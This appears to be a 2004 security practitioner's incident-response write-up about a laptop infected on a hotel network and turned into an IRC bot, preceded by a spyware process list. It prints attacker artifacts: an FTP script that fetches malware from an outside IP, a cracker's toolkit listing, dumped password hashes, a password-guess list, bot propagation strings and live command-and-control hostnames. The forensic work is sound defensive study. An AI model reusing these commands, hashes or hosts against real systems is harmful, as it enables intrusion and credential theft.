C:\WINDOWS\System32\msbb.exe Spyware from 180solutions.com (also found references to this in other executables) that creates pop-up ads, may overwrite wsock32.dll system file, and may transmit lists of URLs you visit. C:\Program Files\Internet Optimizer\optimize.exe Adult content dialer that dials numbers specific to porn related sites. C:\WINDOWS\ELRYFIO.exe C:\WINDOWS\System32\bzuypghx.exe C:\WINDOWS\ANUHR.exe C:\WINDOWS\DKQX.exe C:\WINDOWS\BIOVCIV.exe C:\WINDOWS\xqn.exe C:\WINDOWS\avgbar.exe
All of the above don't appear on forums or security sites - probably because they're just randomly named. We can be fairly sure they are related to spyware because these are the files that contained the referenced websites earlier: flingstone.com and 180solutions.com.
C:\WINDOWS\System32\SahAgent.exe Application that collects and combines user Internet browsing behavior and sends it to ShopAtHomeSelect servers. C:\Program Files\Bargain Buddy\bin\bargains.exe Bargain Buddy software from Exact Advertising. consists of an IE Browser Helper Object, and a process set to run at startup. The BHO monitors web pages requested and terms entered into forms. If there is a match with a preset list of sites and keywords, an advertisement may be shown. The process can contact its maker's server to download updates to the list of adverts and to the software itself. C:\WINDOWS\Belt.exe A Browser Helper Object that displays advertisements and downloads and installs files. Attempts to connect to the remote host, abetterinternet.com, and check for updated versions of the adware. Install desktop icons and installation files and other publisher's software. C:\Program Files\TV Media\Tvm.exe Many appearances in forums etc but no good explanation REGEDIT.EXE -s C:/WINDOWS/sys.reg Troj/Seeker-F is a Trojan which changes the default home page and search page of Microsoft Internet Explorer. The Trojan is dropped and executed as a COM file (which is an EXE) with a temporary filename by a script file which contains embedded VBScript. The EXE then drops SYS.REG within the Windows folder, invokes the REG file using REGEDIT.EXE and then deletes itself. SYS.REG changes several registry entries associated with Internet Explorer and creates the following entry in the registry so that it is run on system restart: HKLM\Software\Microsoft\Windows\CurrentVersion\Run\sys = REGEDIT.EXE -s SYS.REG soundtask.exe Identified by Inoculate as the main source of W32.Gaobot soundtasks.exe Identified by Inoculate as the main source of W32.Gaobot C:\WINDOWS\System32\P2P Networking\P2P Networking.exe /AUTOSTART Typical p2p application that listens on 3531 tcp/udp C:\Program Files\Common files\updmgr\updmgr.exe Adware supplied by eUniverse.com called KeenValue. Monitors web sites visited, so that ads may be targeted; hijacks the hosts file and redirects Netscape searches to incredifind.com; hijacks error pages and address bar searches to incredifind.com, which is then redirected to sirsearch.com; adds an Internet Explorer toolbar providing a search field directed to sirsearch.com c:\program files\altnet\points manager\points manager.exe -s manages the new Kazaa Plus scheme for awarding you points if you share music files on your machine with others rather than simply getting files and not sharing their own C:\Program Files\Common Files\CMEII\CMESys.exe From TheifWare.com: Gator GAIN, adware that is installed by certain free software and is advertising spyware that runs in the background and displays advertisements C:\Program Files\Hotbar\bin\4.4.6.0\WeatherOnTray.exe The systray applet with weather information - not overtly suspicious C:\Program Files\Viewpoint\Viewpoint Manager\ViewMgr.exe Viewpoint Media Player collects information about the user. From the vendor's privacy policy: To provide a satisfying consumer experience and to operate effectively, the Viewpoint Media Player periodically sends information to servers at Viewpoint. Each installation of the Viewpoint Media Player is identifiable to Viewpoint via a Customer Unique Identifier (CUID), an alphanumeric identifier embedded in the Viewpoint Media Player C:\Program Files\Hotbar\bin\4.4.6.0\HbInst.exe /Upgrade Installer for a program called "HotBar". Hotbar enhances the surfing experience offering a variety of innovative and fresh skins for the browser while providing users worldwide access to various services. These programs gather information on your browsing habits and transmit it back to HotBar
Hello and welcome to the realm of complete compromise. This is where attackers "own" your computer in an all too literal sense. They add new administrators on your box, open ports for remote connections, swap your system executables with their own versions, read your mail, steal your files, and use your system as a venue to attack other people. This is by far my favorite event and the most exciting to investigate.
Lets drift back to April 28th, 2004. The owner of this soon-to-be victim machine took his laptop to a hotel and connected to the network. Of all the places a system can join the network without a firewall, this is one of the worst. For three days the computer was on and off, and it was used for a variety of purposes. During this time, while the CA Inoculate IT virus scanner ran in the background, sevearal exploits made their way onto the disk. By examining the Inoculate logs, it seemed to handle it fairly well, however we must assume (based on the amount of evidence to follow) that it hardly cleaned up sufficiently. Here are the full paths to the infected executables along with the name assiged by CA:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup\LKNQ.EXE - Win32/Debworm.R.worm C:\WINNT\SYSTEM3\MSMGRI32.EXE - W32/Lioten.11776.worm C:\WINNT\SYSTEM32\W32X586.EXE - W32/Delsha.c.Trojan C:\WINNT\SYSTEM32\X586.EXE - Win32/Tzet.A.Dropper
So big deal right? Just a few worms and trojans, not even big named ones, and Inculate quarantined them all. Following an additional full system scan with Inoculate, we thought we were in the clear. The user connected his laptop back to our internal network and went back to work. Moments later, the machine starts pounding out connection attempts to remote IRC servers, of course all blocked by outgoing firewall rules. We left it live long enough to conduct an nmap scan, copy the system logs, and view the list of users on the machine. The owner pointed out that a Java shortcut had recently been added to his desktop, so we kept that in mind. There was also a new user named "test" which he was not aware of. We snagged it off the network again, this time for good, and took the investigation a little more seriously. Below are the results of nmap:
# ./nmap.exe -sV -p 1-65535 -P0 -T Insane 10.1.114.22 Starting nmap 3.50 (http://www.insecure.org/nmap ) at 2004-05-04 14:57 Eastern Daylight Time Interesting ports on NB-1-1-20 (10.1.114.22): (The 65526 ports scanned but not shown below are in state: closed) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows msrpc 139/tcp open netbios-ssn 199/tcp open smux HP-UX smux (SNMP Unix Multiplexer) 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds 641/tcp open ssl OpenSSL 1039/tcp open mstask Microsoft mstask (task server - c:\winnt\system32\Mstask.exe) 7461/tcp open unknown 14238/tcp open unknown 42510/tcp open msrpc Microsoft Windows msrpc 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port7461-TCP:V=3.50%D=5/4%Time=4097EA4E%P=i686-pc-windows-windows%r(SMB SF:ProgNeg,18,"\xcd\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\x02\0\0\0\0\0")%r( SF:WMSRequest,18,"\xcd\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x01\0\x02\0\0\0\0\0"); Nmap run completed -- 1 IP address (1 host up) scanned in 749.529 seconds
We noted from these results that a few things may seem suspicious but a few things are also blatently inappropriate. The OpenSSL process, for example has no legitimate purpose running on a user's workstation - intended for word processing, record keeping, and emailing. As we learned later, this backdoor was created due to a completely separate incident. In short, the ISP software for managing proprietary modems and dial-up procedures installs this program without the knowledge of any of its users. The ISP uses it to remotely connect, and if so willing - take control and administer anything on the infected computer. We identified this guy with the output of a quick fport scan:
Pid Process Port Proto Path 424 svchost -> 135 TCP C:\WINNT\system32\svchost.exe 828 AGNTSVC -> 199 TCP C:\Oracle\Ora81\BIN\AGNTSVC.EXE 8 System -> 445 TCP 1288 tgcmd -> 641 TCP C:\Program Files\Support.com\bin\tgcmd.exe 904 MSTask -> 1039 TCP C:\WINNT\system32\MSTask.exe 8 System -> 1051 TCP 736 TNSLSNR -> 1521 TCP C:\Oracle\Ora81\BIN\TNSLSNR.exe 984 CClient -> 7461 TCP C:\Program Files\Tally Systems Corp\TSCensus\bin\CClient.exe 1448 HOTSYNC -> 14238 TCP C:\Palm\HOTSYNC.EXE 548 InoRpc -> 42510 TCP C:\Program Files\CA\eTrust\InoculateIT\InoRpc.exe 828 AGNTSVC -> 161 UDP C:\Oracle\Ora81\BIN\AGNTSVC.EXE 8 System -> 445 UDP 984 CClient -> 6142 UDP C:\Program Files\Tally Systems Corp\TSCensus\bin\CClient.exe 1448 HOTSYNC -> 14237 UDP C:\Palm\HOTSYNC.EXE 500 cvpnd -> 62515 UDP C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe 500 cvpnd -> 62517 UDP C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe 500 cvpnd -> 62519 UDP C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe 500 cvpnd -> 62521 UDP C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe 500 cvpnd -> 62523 UDP C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe 500 cvpnd -> 62524 UDP C:\Program Files\Cisco Systems\VPN Client\cvpnd.exe
Meanwhile, we are still guessing which process is responsible for the flood of IRC connection attempts. Since this is a client application it does not hold any ports open, which makes it difficult to identify. If we run fport at the exact time a request is transmitted, we might be catch a glimpse. Rather than juggling with unknowns we decided to take a different route; and find the find the facts. Up to this point the machine had not been rebooted since we became aware it has been compromised (aside from the Inoculate alerts). We powered down the Windows operating system and booted with a Live Linux CD known as Knoppix. Mounting the NTFS filesystem RO, we could do whatever we wished without worrying about currupting or altering key evidence.
By constructing a rough timeline of events, based on Inoculate alerts and what the user could recall, we got an idea of when the influx of attacks took place. With this is mind we searched the entire drive for all files created or modified within that time period, using the mtime and ctime flags to the find command. Anything that looked suspicious (ie yoyo.exe) we checked out further by printing the strings from those files and examining the output. Many of the files we were able to tie together by finding keywords in one file and they doing a subsequent search for other files containing exact or related terminology. We were also able to identify rootkit components (trojanized executables) by comparing MD5 checksums of modified files with copies of the same file from uninfected installation media. In particular lsass.exe and crss.exe were several times larger than the normal versions, indicating a large amount of extraneous code had been added. We will check these files out more in a moment.
First, we found a critical peice of evidence telling us how some of the initial code was introduced to the system:
# cat ftptemp open 35.10.236.31 user anonymous werd@werd.com bin get yoyo.exe get rmset.exe bye
It was then clear that another peice of code had dropped this file on the laptop and ran it as part of a larger exploit script. During our investigation we located yoyo.exe, however rmset.exe was missing. If we were dealing with an expert attacker, we wouldn't have expected to find either of the two, but mistakes happen. Curious about the contents of rmset.exe we connected (from offsite) to the FTP server mentioned in that file, and downloaded everything it had to offer; including yoyo.exe and rmset.exe. Interestingly, yoyo.exe was now referred to as yoyo1.exe and had been modified within the past few days. Someone reguarly maintains this toolkit. There were several other tools in the same directory, all related to exploiting the machines that connect to it. Below is a directory listing of the files on this FTP site:
130.18.230.15.p_d auto.bat comsetup.dll fp40ext.dll fsconins.dll iis.dll iisdbg.dll imsinsnt.dll lan.exe load.bat msmqocm.dll nc.exe netoc.dll ntoc.dll ocgen.dll ockodak.dll pskill.exe pwdump2.exe rmset.exe samdump.dll setupqry.dll srvinfo.exe start.exe svcinst.exe toejam.exe wget.exe wmpocm.exe yoyo1.exe zap.exe
A small toolbox for a cracker, but a toolbox nonetheless. Mostly DLLs and EXEs (some of which were self-extracting RARs), but a few batch files and one plain text. A few sounded immediatly familiar:
auto.bat [reason: file was present on compromised laptop] # cat auto.bat @echo off java -Djava.awt.headless=true -jar AI.jar load.bat [reason: file was present on compromised laptop] # cat load.bat @echo off start /w j2re-1_4_2_04-windows-i586-p-iftw.exe /s /v "/qn ADDLOCAL=jrecore,extra NETSCAPE=1 MOZILLA=1"
Recall the mysterious appearance of a Java shortcut? Our user had no idea how that happened and neither did we looked inside auto.bat and load.bat.
rmset.exe [reason: ftptemp - original source of information contained instructions to download this file, but it WAS NOT found on the hardrive] yoyo1.exe [reason: ftptemp - original source of information contained instructions to download this file, and it WAS on the hardrive] 130.18.230.15.p_d [reason: not a known filetype, IP related name] # cat 130.18.230.13.p_d Administrator:500:2e0fc4c91b6966914207fd0df35a59a8:b042007b0ad3eb5e97c2ae9335b1752c::: ComputerServices:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: SUPPORT_888:1001:a23c22a85caa6ef18b0ea5a7df135b03:0c5f925d008b951b59e068f5ee3a6e1e:::
Of course! Here is a file used for creating the new users on infected machines. With attention to the last entry, the user SUPPORT_888 was created on a system automatically when we executed the downloaded ftp files on a test system. The test environment consisted of a vmware machine (Win2k just like the laptop). This made absolute ties between the files we found on the compromised laptop and the remote ftp server. The user “test” was likely created in this exact manner by these exact files during the initial infection of the laptop. In the test environment we took a screen capture of the users and passwords window both before and after executing files from the ftp server:
FYI "sam jackson" is just a phony user name for the test machine. Here is the same system afterward:
Not surprisingly, a new user named SUPPORT_888 with both User and Administrator privileges. Moving on, we also got a full packet capture of all the machine's traffic from start to finish during our intentional infection. One of the first things the infected PC does (besides create some backdoors and accounts for later) is connect to an IRC server on server002.no-ip.org using the infected computer's hostname as the IRC username. In the test environment, we saw the infected laptop do a DNS lookup of server002.no-ip.org before connecting to the IRC server on that host. The following evidence comes from the packet capture of an infected machine with server002.no-ip.org during the first few minutes of connectivity:
First it tried to logon to the server using the system’s hostname as a nickname (NONE-GW62YTQWH4 is the default hostname given by win2k when I installed it).
NICK NONE-GW62YTQWH4.
Then we recieve a notice given when the computer logged on to the server, but it provides something interesting - the name where it goes: dragon.go-away.net.
:dragon.go-away. net NOTICE AUTH :*** Looking up your hostname... ..:dragon.go-awa y.net NOTICE AUT H :*** Found you r hostname (cach ed)..:dragon.go- away.net NOTICE AUTH :*** Checki ng ident.....
The server accepts our nickname, allows us to enter, and displays some information about the population and environment:
USER tb none-gw62ytqwh4 server001.no-ip.org :tb. er-0004 :There a re 12 users and 4810 invisible o n 6 servers..:sh er-0004 :I have 957 clients and 1 servers..:shop ALSO RECRUITING CURRI ERS & ROOTERS. I F YOU ARE WILLIN G TO JOIN US MSG @..:Global!serv ices@lucidflux.c om NOTICE Jammer
At this point, we pulled the plug on our test machine. After all, we got a good amount of information from this that helps complete the puzzle. Anything more may have alerted someone to our investigation. Furthermore, we had a new lead. If the infected machine does an A record DNS query, that means the hostname is stored somwhere on the file system. We did a search for any files that contained "server002.no-ip.org" and found exactly what we were looking for in lsass.exe. We had already suspected this file to contain malicious code, due to its increased size compared to normal copies distributed with Windows. Next, we computed checksums for lsass.exe and crss.exe on the test sytsem and verified they were completely swapped during the infection. We took a moment to examine the new lsass.exe:
6667 MyNick OtherNick My real name username PRIVMSG %s :%s MODE %s %s JOIN %s %s PONG %s
References to the other (main) trojanized executable we were looking at:
crss.exe SeServiceLogonRight crss.exe Client Runtime Server Subsystem Crss
The location/registry keys to add the executables start with Windows:
\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\CRSS \SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
We checked out those registry entries on the laptop and found: (related to the Comcast/cox backdoor)
BJCFD: REG_SZ: C:\Program Files\Broad Jump\ClientFoundation\CFD.exe tgcmd: REG_SZ: “C:\Program Files\Support.com\bin\tgcmd.exe 201d;/server
Related to the trojanized executables
CRSS: REG_SZ: C:\WINNT\system32\lssas.exe
These are here in attempt to steal cd keys and serial numbers for the software indicated (should they be installed on the victim machine)
\SOFTWARE\Unreal Technology\Installed Apps\UT2003 \SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Command & Conquer Generals: \Software\Westwood\Tiberian Sun \Software\Electronic Arts\Maxis\The Sims \Software\Electronic Arts\Maxis\The Sims Livin' Large \Software\Valve\CounterStrike\Settings
Some password guessing /login stuff:
%NULL% %USERNAME% %username% %null% admin root 1234 12345 123456 %username%123 %username%1234 %username%!@#$ %username%!"
This tells a good story of what its capable of:
basicsvc IPC$ admin$ Failed to connect to admin$ - trying to share it Returned code Copying service \admin$\system32\crss.exe Copying bot \admin$\system32\ Granting service logon right to account SeServiceLogonRight Failed to grant right SCM Opened crss.exe Client Runtime Server Subsystem crss Service created Service started Service failed to start Service creation failed Open SCM Failed failed to create remote bot exe failed to open local bot exe failed to create remote svc exe
Evidence of a rootkit being installed:
9[%s] Found %s/%s – rooting
Last but not least, the servers to connect to:
server001.no-ip.org server002.no-ip.org server003.no-ip.org
Now we have a pretty good idea how privileges were gained in the first place - likely a weak administrator password susceptible to some brute force guessing. We saw the commands responsible for laying down other trojanized executables and installing the rootkit components, registry entries to start the rogue processes at boot time, and even a little selection of the attacker's favorite video games. As we said, last but not least, there exists the DNS hostnames of remote IRC servers to join. Upon completion, members become "zombies" and are simply robots. A simple broadcast onto the IRC network will force all zombies to execute the requested actions - usually peform a DDoS attack against some enemy. This is what would have happened to the compromised laptop had we allowed outbound IRC connections from the internal network; and what would have happened to our test machine if we had not pulled the plug.
This is all being done automatically and in the background – a user on the infected PC would likely never know. Another interesting fact, jumping back up to the top, was that yoyo.exe and rmset.exe were BOTH on the ftp server, however we only found one (yoyo.exe) on the compromised machine. Furthermore, during my test no parts of the executables or self-extracting RARs had functions to clean up after themselves or move any downloaded files from the current working directory (wherever the scripts were run). The remnants of what we did find still lingering on the compromised machine were scattered in several different places. This is pretty good evidence that someone did in fact log back into the machine and move things around and delete key evidence.
The only safe thing to do in this situation with our laptop was to format the drive with /dev/zero and re-install Windows. We backed up some of the user's personal files and documents, then proceeded with the install. This was all fine in our case, but what about the other so claimed 957 infected clients on the IRC channel? server00x.no-ip.org is a characteristic name for this event since this string provided such a critical clue in the intestigation. Interestingly, at the time, server002.no-ip.org had an alternate hostname - a legitimate one - it was the website for a Soil Biologist from the University of Michigan. In attempt to stay covert, the attackers assign the IRC server hostnames new IP addresses every so often. server002.no-ip.org the next time we looked was a host at University of Missisippi.
With less than 1000 zombies, this is a fairly small collection of IRC bots, but enough to do some damage in a DDoS. Unfortunately for us, the excitement ended with an incident report to CERT. The most important aspect of our reaction to this event was the egress filtering on our firewall. Without blocking outbound port 6667 traffic this may have gone unnoticed for quite some time.
This is an incredibly simple and boring record compared to most of the above, but nonetheless it deservers some room on the page. As far as the logs show, the attacker never gained access to the machine. They were permitted anonymous FTP login when a valid username (anonymous and ftp) was chosen, but all else failed. The scan consisted of several attempts to login with different user names, some of which are shown below.
no such group 'ftp' no such user 'anyone' no such user 'admin' no such user 'webmaster' no such user 'user' no such user 'test' no such user 'www' no such user 'administrator' no such user 'oracle' no such user 'informix' no such user 'sybase' no such user 'server' no such user 'oracle' no such user 'pwrchute' no such user 'data' no such user 'lizdy' no such user 'access' no such user 'account' no such user 'ftproot'
Additional responses from the server went something like this:
USER administrator: no such user found from 195.214.176.18 [195.214.176.18] to 10.1.119.75:21 SECURITY VIOLATION: root login attempted. USER backup (Login failed): Incorrect password. PAM(backup): Authentication failure.
[1]. RFC
2817 Upgrading to TLS Within HTTP/1.1
[2]. US-CERT
Vulnerability Note VU#868219 Multiple vendors' HTTP content/virus scanners do
not check data tunneled via HTTP CONNECT method
[3]. Sorry, I can no longer find this URL.
[4]. SecurityFocus: Microsoft
Windows Media Services NSIISlog.DLL Remote Buffer Overflow
Vulnerability
[5]. ISS
X-Force Database: web-isapi-nsiislog-bo
[6]. Symantec
Security Response: W32.Sobig.F@mm
[7]. Symantec
Security Response: W32.Klez.H@mm
[8]. Symantec
Security Response: W32.Mydoom.A@mm
[9]. Security
Focus: iis-plus.pl by Andrea Spabam
[10]. Cyber Crime Most
Wanted: Scams: Nigerian.
[11]. Federal Trade
Commission: The Nigerian Scam: Costly Compassion
[12]. Trade Touch
Software. Product List.
[13]. eEye
Digital Security's Retina Product
[14]. eEye
Digital Security's IIS Remote Buffer Overflow Advisory
[15]. eEye
Digital Security's W2K IIS 5.0 Remote Buffer Overflow Vulnerability
Advisory
[16]. The doxdesk.com
Unsolicited Commerical Software Database
[17]. Symantec
Security Response: Downloader.Psyme
[18]. Symantec
Security Response: Trojan.Trunlow